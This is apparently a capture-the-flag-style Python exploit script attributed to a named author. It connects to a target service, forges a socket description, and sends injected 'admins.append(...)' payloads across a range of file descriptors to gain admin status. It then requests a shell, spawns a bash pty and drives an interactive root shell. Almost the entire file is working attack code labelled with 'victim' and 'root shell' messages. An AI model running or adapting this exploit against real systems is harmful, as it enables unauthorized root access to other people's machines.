exploit.py

__author__  = "bayazid"
__github__ = "bayazid-bit"
__email__ = "bayazid.mtu@gmail.com"


### Try this in end of 'reverse_sock' fountion it exploit not works 
### text = f"<socket.socket fd=, family=2, type=0, proto=0, {localaddr}, {remoteaddr}>"
### exaple : return text = f"<socket.socket fd=, family=2, type=0, proto=0, {localaddr}, {remoteaddr}>"








import socket
import re
import sys
import argparse
from threading import Thread 



def reverse_sock( client_socket:str ) -> str:
    
    text = client_socket 
    rap = r"raddr=\('(\d{1,3}\.){3}\d{1,3}',\s\d{1,5}\)"
    lap =r"laddr=\('(\d{1,3}\.){3}\d{1,3}',\s\d{1,5}\)"
    
    localaddr = re.search(rap, text).group().replace('raddr','laddr')
    remoteaddr = re.search(lap , text).group().replace('laddr','raddr')
    
    text = f"<socket.socket fd=, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, {localaddr}, {remoteaddr}>"  
    return text 




def angel_hits(s2:socket.socket , s1_remote_sock:str , min : int = 3, max:int = 100, ) -> None :
    for i in range(min,max):
        msg = s1_remote_sock.replace("fd=",f"fd={i}")
        payload = f"""admins.append("{msg}")""".encode()
        s2.send(payload)

        #print(payload)
        s2.recv(1024)
        #print()
    #s2.close()
        
        
def recv_data(s1:socket.socket) -> None:
    try:
            while True:
                    d = s1.recv(1024*1024)
                    print(d.decode() , end = '')
    except Exception as e :
        print(f'[!] {e}')


def shell(s1:socket.socket) -> None :
    s1.send(b'shell')
    r = s1.recv(1).decode()
    if  r == '#':
        print('done')
        print("[*]Exploit Successfull............. press Enter ")
        
        t = Thread(target  = lambda : recv_data(s1))
        t.daemon  = True 
        t.start()
        
        s1.send(""" python3 -c 'import pty; pty.spawn("/bin/bash")' """.encode() )
        try:
            while True :
                    cmd = input()
                    print('\b')
                    s1.send(cmd.encode()+b"\n")
        except KeyboardInterrupt : 
            print("\n[!] Exiting .......")
            s1.close()
            sys.exit()
                    
        except Exception as e :
                print('[!]' , e)
                s1.close()
                sys.exit()    
    else :
        print(r)
        s1.send(b"whoami\n")
        print(s1.recv(1024))
        print(s1.recv(1024))
        print(s1.recv(1024))
        













parser = argparse.ArgumentParser()
parser.add_argument("host")
parser.add_argument("port")
args = parser.parse_args()


host = args.host 
port = int(args.port) 


s1 = socket.socket()
s2 = socket.socket()

print('[*]Connecting to the victim ............' , end = '')
s1.connect((host, port))
s2.connect((host, port))
print('done')

print("[*]Reversing attacker's sock string ............" , end = '')
s1_sock = str(s1)
s1_remote_sock = reverse_sock(s1_sock)
print('done')

print('[*]Starting The Angel Hits ............' , end = '')
angel_hits(s2, s1_remote_sock, )
print('done')


print('[*]Try for root shell ............' , end = '')
shell(s1)